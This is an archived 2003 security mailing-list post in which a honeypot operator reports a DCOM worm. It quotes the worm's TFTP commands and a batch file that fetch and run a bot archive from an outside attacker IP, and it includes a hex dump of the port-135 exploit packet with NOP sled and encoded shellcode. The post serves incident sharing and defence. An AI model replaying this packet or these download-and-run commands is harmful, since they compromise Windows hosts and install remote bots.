

DCOM worm with get.bat bot.rar

Source: <http://www.derkeiler.com/Mailing-Lists/securityfocus/incidents/2003-08/0266.html>

From: Andrej (laj_at_swordlord.com)

Date: 08/19/03

To: incidents@securityfocus.com
Date: Tue, 19 Aug 2003 11:05:57 +0200

I just got a new DCOM worm on our honeypot. After the exploit on port 135 (dump below) a connection was built on port 4444:

```
TFTP -i 81.103.7.66 GET get.bat
get.bat
exit
```

I was able to get the get.bat it's:

```
mkdir C:\RECYCLER\S-1-5-21-57989841-1715567821-725345543-1004\
cd C:\RECYCLER\S-1-5-21-57989841-1715567821-725345543-1004\
TFTP -i 81.103.7.66 GET bot.rar
TFTP -i 81.103.7.66 GET unrar.bat
TFTP -i 81.103.7.66 GET unrar.exe
start unrar.bat
exit
```

unfortunately I was not able to download the bot.rar for inspection because the connection timed out. Maybe somebody else is more successful

cheers
andrej

```
[2003-08-19 10:37:34]
IPv4: 81.103.7.66 -> *
  hlen=5 TOS=0 dlen=1500 ID=48197 flags=0 offset=0 TTL=114
  checksum=43601
TCP: port=1176 -> dport: 135 flags=***A**** seq=2683878707
  ack=1434085177 off=5 res=0 win=64240 urp=0 checksum=61593
Payload: length = 1460
```

```
000 : 05 00 00 03 10 00 00 00 A8 06 00 00 E5 00 00 00 .....
010 : 90 06 00 00 01 00 04 00 05 00 06 00 01 00 00 00 .....
020 : 00 00 00 00 32 24 58 FD CC 45 64 49 B0 70 DD AE ....2$X..EdI.p..
030 : 74 2C 96 D2 60 5E 0D 00 01 00 00 00 00 00 00 00 t,..^.....
040 : 70 5E 0D 00 02 00 00 00 7C 5E 0D 00 00 00 00 00 p^.....|^.....
050 : 10 00 00 00 80 96 F1 F1 2A 4D CE 11 A6 6A 00 20 .....*M...j.
060 : AF 6E 72 F4 0C 00 00 00 4D 41 52 42 01 00 00 00 .nr.....MARB....
070 : 00 00 00 00 0D F0 AD BA 00 00 00 00 A8 F4 0B 00 .....
```

SecurityFocus Incidents: DCOM worm with get.bat bot.rar

080 : 20 06 00 00 20 06 00 00 4D 45 4F 57 04 00 00 00MEOW....
090 : A2 01 00 00 00 00 00 00 C0 00 00 00 00 00 00 46F
0a0 : 38 03 00 00 00 00 00 00 C0 00 00 00 00 00 00 46 8.....F
0b0 : 00 00 00 00 F0 05 00 00 E8 05 00 00 00 00 00 00
0c0 : 01 10 08 00 CC CC CC CC C8 00 00 00 4D 45 4F 57MEOW
0d0 : E8 05 00 00 D8 00 00 00 00 00 00 00 02 00 00 00
0e0 : 07 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0f0 : 00 00 00 00 C4 28 CD 00 64 29 CD 00 00 00 00 00(..d).....
100 : 07 00 00 00 B9 01 00 00 00 00 00 00 00 C0 00 00 00
110 : 00 00 00 46 AB 01 00 00 00 00 00 00 00 C0 00 00 00 ...F.....
120 : 00 00 00 46 A5 01 00 00 00 00 00 00 C0 00 00 00 ...F.....
130 : 00 00 00 46 A6 01 00 00 00 00 00 00 C0 00 00 00 ...F.....
140 : 00 00 00 46 A4 01 00 00 00 00 00 00 C0 00 00 00 ...F.....
150 : 00 00 00 46 AD 01 00 00 00 00 00 00 C0 00 00 00 ...F.....
160 : 00 00 00 46 AA 01 00 00 00 00 00 00 C0 00 00 00 ...F.....
170 : 00 00 00 46 07 00 00 00 60 00 00 00 58 00 00 00 ...F...`...X...
180 : 90 00 00 00 40 00 00 00 20 00 00 00 38 03 00 00@... ..8...
190 : 30 00 00 00 01 00 00 00 01 10 08 00 CC CC CC CC 0.....
1a0 : 50 00 00 00 4F B6 88 20 FF FF FF FF 00 00 00 00 P...O..
1b0 : 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
1c0 : 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
1d0 : 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
1e0 : 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
1f0 : 00 00 00 00 00 00 00 00 01 10 08 00 CC CC CC CC
200 : 48 00 00 00 07 00 66 00 06 09 02 00 00 00 00 00 H....f.....
210 : C0 00 00 00 00 00 00 00 46 10 00 00 00 00 00 00F.....
220 : 00 00 00 00 01 00 00 00 00 00 00 00 78 19 0C 00x...
230 : 58 00 00 00 05 00 06 00 01 00 00 00 70 D8 98 93 X.....p...
240 : 98 4F D2 11 A9 3D BE 57 B2 00 00 00 32 00 31 00 .O...=.W...2.1.
250 : 01 10 08 00 CC CC CC CC 80 00 00 00 0D F0 AD BA
260 : 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
270 : 18 43 14 00 00 00 00 00 60 00 00 00 60 00 00 00 .C.....`...`...
280 : 4D 45 4F 57 04 00 00 00 C0 01 00 00 00 00 00 00 MEOW.....
290 : C0 00 00 00 00 00 00 00 46 3B 03 00 00 00 00 00F;.....
2a0 : C0 00 00 00 00 00 00 00 46 00 00 00 00 30 00 00 00F...0...
2b0 : 01 00 01 00 81 C5 17 03 80 0E E9 4A 99 99 F1 8AJ....
2c0 : 50 6F 7A 85 02 00 00 00 00 00 00 00 00 00 00 00 Poz.....
2d0 : 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00
2e0 : 01 10 08 00 CC CC CC CC 30 00 00 00 78 00 6E 000...x.n.
2f0 : 00 00 00 00 D8 DA 0D 00 00 00 00 00 00 00 00 00
300 : 20 2F 0C 00 00 00 00 00 00 00 00 00 03 00 00 00 /.....
310 : 00 00 00 00 03 00 00 00 46 00 58 00 00 00 00 00F.X....
320 : 01 10 08 00 CC CC CC CC 10 00 00 00 30 00 2E 000...
330 : 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
340 : 01 10 08 00 CC CC CC CC 68 00 00 00 0E 00 FF FFh.....
350 : 68 8B 0B 00 02 00 00 00 00 00 00 00 00 00 00 00 h.....
360 : 86 01 00 00 00 00 00 00 86 01 00 00 5C 00 5C 00\\.\.
370 : 46 00 58 00 4E 00 42 00 46 00 58 00 46 00 58 00 F.X.N.B.F.X.F.X.
380 : 4E 00 42 00 46 00 58 00 46 00 58 00 46 00 58 00 N.B.F.X.F.X.F.X.
390 : 46 00 58 00 9D 13 00 01 CC E0 FD 7F CC E0 FD 7F F.X..... ...
3a0 : 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90

SecurityFocus Incidents: DCOM worm with get.bat bot.rar

3b0 : 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
3c0 : 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
3d0 : 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
3e0 : 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
3f0 : 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
400 : 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
410 : 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
420 : 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
430 : 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
440 : 90 90 90 90 90 90 90 90 EB 19 5E 31 C9 81 E9 89 FF^1.....
450 : FF FF 81 36 80 BF 32 94 81 EE FC FF FF FF E2 F2 ...6.2.....
460 : EB 05 E8 E2 FF FF FF 03 53 06 1F 74 57 75 95 80S..tWu..
470 : BF BB 92 7F 89 5A 1A CE B1 DE 7C E1 BE 32 94 09 ... Z...|.2..
480 : F9 3A 6B B6 D7 9F 4D 85 71 DA C6 81 BF 32 1D C6 :.k...M.q...2..
490 : B3 5A F8 EC BF 32 FC B3 8D 1C F0 E8 C8 41 A6 DF .Z...2.....A..
4a0 : EB CD C2 88 36 74 90 7F 89 5A E6 7E 0C 24 7C AD6t. .Z.~.\$|.
4b0 : BE 32 94 09 F9 22 6B B6 D7 4C 4C 62 CC DA 8A 81 .2..."k.LLb....
4c0 : BF 32 1D C6 AB CD E2 84 D7 F9 79 7C 84 DA 9A 81 .2.....y|....
4d0 : BF 32 1D C6 A7 CD E2 84 D7 EB 9D 75 12 DA 6A 80 .2.....u..j..
4e0 : BF 32 1D C6 A3 CD E2 84 D7 96 8E F0 78 DA 7A 80 .2.....x.z..
4f0 : BF 32 1D C6 9F CD E2 84 D7 96 39 AE 56 DA 4A 80 .2.....9.V.J..
500 : BF 32 1D C6 9B CD E2 84 D7 D7 DD 06 F6 DA 5A 80 .2.....Z..
510 : BF 32 1D C6 97 CD E2 84 D7 D5 ED 46 C6 DA 2A 80 .2.....F..*..
520 : BF 32 1D C6 93 01 6B 01 53 A2 95 80 BF 66 FC 81 .2....k.S....f..
530 : BE 32 94 7F E9 2A C4 D0 EF 62 D4 D0 FF 62 6B D6 .2. .*...b...bk..
540 : A3 B9 4C D7 E8 5A 96 80 AE 6E 1F 4C D5 24 C5 D3 ..L..Z...n.L.\$..
550 : 40 64 B4 D7 EC CD C2 A4 E8 63 C7 7F E9 1A 1F 50 @d.....c. ...P
560 : D7 57 EC E5 BF 5A F7 ED DB 1C 1D E6 8F B1 78 D4 .W...Z.....x..
570 : 32 0E B0 B3 7F 01 5D 03 7E 27 3F 62 42 F4 D0 A4 2... .]~'?bB..
580 : AF 76 6A C4 9B 0F 1D D4 9B 7A 1D D4 9B 7E 1D D4 .vj.....z...~..
590 : 9B 62 19 C4 9B 22 C0 D0 EE 63 C5 EA BE 63 C5 7F .b..."c...c..
5a0 : C9 02 C5 7F E9 22 1F 4C D5 CD 6B B1 40 64 98 0B ... ".L.k.@d..
5b0 : 77 65 6B D6 wek.

[2003-08-19 10:37:34]
IPv4: 81.103.7.66 -> *
hlen=5 TOS=0 dlen=284 ID=48198 flags=0 offset=0 TTL=114
chksum=44816
TCP: port=1176 -> dport: 135 flags=***AP*** seq=2683880167
ack=1434085177 off=5 res=0 win=64240 urp=0 chksum=21751
Payload: length = 244

000 : 93 CD C2 94 EA 64 F0 21 8F 32 94 80 3A F2 EC 8Cd!.2.:...
010 : 34 72 98 0B CF 2E 39 0B D7 3A 7F 89 34 72 A0 0B 4r...9.:. 4r..
020 : 17 8A 94 80 BF B9 51 DE E2 F0 90 80 EC 67 C2 D7Q.....g..
030 : 34 5E B0 98 34 77 A8 0B EB 37 EC 83 6A B9 DE 98 4^.4w...7.j...
040 : 34 68 B4 83 62 D1 A6 C9 34 06 1F 83 4A 01 6B 7C 4h..b...4...J.k|
050 : 8C F2 38 BA 7B 46 93 41 70 3F 97 78 54 C0 AF FC ..8.{F.Ap?.xT...
060 : 9B 26 E1 61 34 68 B0 83 62 54 1F 8C F4 B9 CE 9C .&.a4h..bT.....
070 : BC EF 1F 84 34 31 51 6B BD 01 54 0B 6A 6D CA DD41Qk..T.jm..
080 : E4 F0 90 80 2F A2 04 00 5C 00 43 00 24 00 5C 00/\...\.C.\$.\.

SecurityFocus Incidents: DCOM worm with get.bat bot.rar

090 : 31 00 32 00 33 00 34 00 35 00 36 00 31 00 31 00 1.2.3.4.5.6.1.1.
0a0 : 31 00 31 00 31 00 31 00 31 00 31 00 31 00 1.1.1.1.1.1.1.1.
0b0 : 31 00 31 00 31 00 31 00 31 00 2E 00 64 00 6F 00 1.1.1.1...d.o.
0c0 : 63 00 00 00 01 10 08 00 CC CC CC CC 20 00 00 00 c..... ..
0d0 : 30 00 2D 00 00 00 00 00 88 2A 0C 00 02 00 00 00 0.-..... *.....
0e0 : 01 00 00 00 28 8C 0C 00 01 00 00 00 07 00 00 00(.....
0f0 : 00 00 00 00

Captus Networks – Integrated Intrusion Prevention and Traffic Shaping

- Instantly Stop DoS/DDoS Attacks, Worms & Port Scans
- Automatically Control P2P, IM and Spam Traffic
- Ensure Reliable Performance of Mission Critical Applications
- Precisely Define and Implement Network Security and Performance Policies

**FREE Vulnerability Assessment Toolkit – WhitePapers – Live Demo

Visit us at:
http://www.securityfocus.com/sponsor/CaptusNetworks_incidents_030814
